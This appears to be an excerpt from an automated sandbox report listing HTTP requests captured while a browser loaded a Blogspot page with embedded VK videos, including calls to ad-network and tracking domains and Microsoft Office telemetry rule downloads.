Source: global traffic	HTTP traffic detected: GET /sftouch?userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf&dovr=true&branchId=0&rb=gvLURGPR381dNCfm4z7DWmYChfRrNhidpJlpK6Hu3FaYvLFUudsW7GlQ47cDaUUZC2xZ6a8UDxSV7yk4exemc7RTefog3vu58lg38UHdk40Gbk5LPmTVJUDoFRWwMMyCRs2kS8Z_0Bz-O-EL9By5pRVCmMYn3I6lF2fPD0Q5uBsfEAuGP0kbp9MWugTaqI88Vfiok-SHDNqC3ESXX3cndXxoLTbbqbiX0B7k3KMu_CNf4D4J1-fd--_UGmqV279IGSxmPqv7wkiIL0kbeWVYAbp1R6hJXCmQLy7KSdzI-e8Kvq990alo-diDMLH7eG6kb5S0HQEgdY_Rzhmz-jYWgf3Mf2xkGqnR&w_img=1 HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945591
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1Host: raw.githubusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ntfc.php?p=8165884 HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-356a"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /video_ext.php?oid=424108305&id=456239246&hd=1&autoplay=1 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?rb=h41RbpjUfm_qezmYzy9pIg9mlIi-f8HIT5NCeikxr11M_389I7E9AD9nLHVqmh6T_KddQBzce-JN28rtoJXc3BFC19zHCYwqvB_-YolKIUq70v33FpAnXcTDS0ltRITij9SrZZHt5B1K5y3GjGmhKtW8AjNrOaaUjt5pM4ev59qlNzNDGWu_nC2LMVGJ0MulG6qU4H_vtCv8VU1ftJxA-6GMisbOKxBf0mrehPqFnPxa187DdqBHsQNzCDHLXNpoIozX6Jn2R3BQGIEpKvBA3JoqRlKqzqByAWUIYStOT9e_q713K9t-8XEkvL5VijP-HXTHQQb6ofDNeVZb6D5X8Q%3D%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=907&wiw=1280&ww=1280&wh=984&sah=984&wx=0&wy=0&cw=1275&wfc=39&pl=https%3A%2F%2Fwww.mycimalive.com%2F&drf=&np=1&pt=0&nb=1&ng=1&ix=0&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=false&pnt=0&pnrc=0&bml=1&bmi=1&bs=c4386095-4dc2-4ed2-b185-61bb729e2c55&wasm=1&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945591
Source: global traffic	HTTP traffic detected: GET /video_ext.php?oid=424108305&id=456239241&hd=1&autoplay=1 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ntfc.php?p=8165884 HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-356a"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6002409460088195649&zx=dcf111cd-6b9a-4037-a79c-a07ee24c9a83 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/universal.min.js?v=3.1.562 HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ntfc.php?p=8165884 HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: phaivusaido.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/al/fonts_cnt.c7a76efe.css HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9120256952286695402_JNzpNZrXkBIfSk5yyVnfvM3BcvTqGoM7iBnXuugt91o; remixstid=832476079_hvT6cKvBW98ZapTP4zA31gXh4Kc6zKyUwsiyAjELzxT
Source: global traffic	HTTP traffic detected: GET /video_ext.php?oid=424108305&id=456239206 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /video_ext.php?oid=424108305&id=456239242&hd=1&autoplay=1 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6002409460088195649&zx=dcf111cd-6b9a-4037-a79c-a07ee24c9a83 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2024/10/365.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/loader_nav21224474149_3.js HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/video_ext.php?oid=424108305&id=456239241&hd=1&autoplay=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9120256952286695402_JNzpNZrXkBIfSk5yyVnfvM3BcvTqGoM7iBnXuugt91o; remixstid=832476079_hvT6cKvBW98ZapTP4zA31gXh4Kc6zKyUwsiyAjELzxT
Source: global traffic	HTTP traffic detected: GET /js/loader_nav21223558768_3.js HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/video_ext.php?oid=424108305&id=456239246&hd=1&autoplay=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /ntfc.php?p=8165884 HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-356a"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/universal.min.js?v=3.1.562 HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-145b3"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2024/10/78.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/al/lite.7b03ad77.css HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
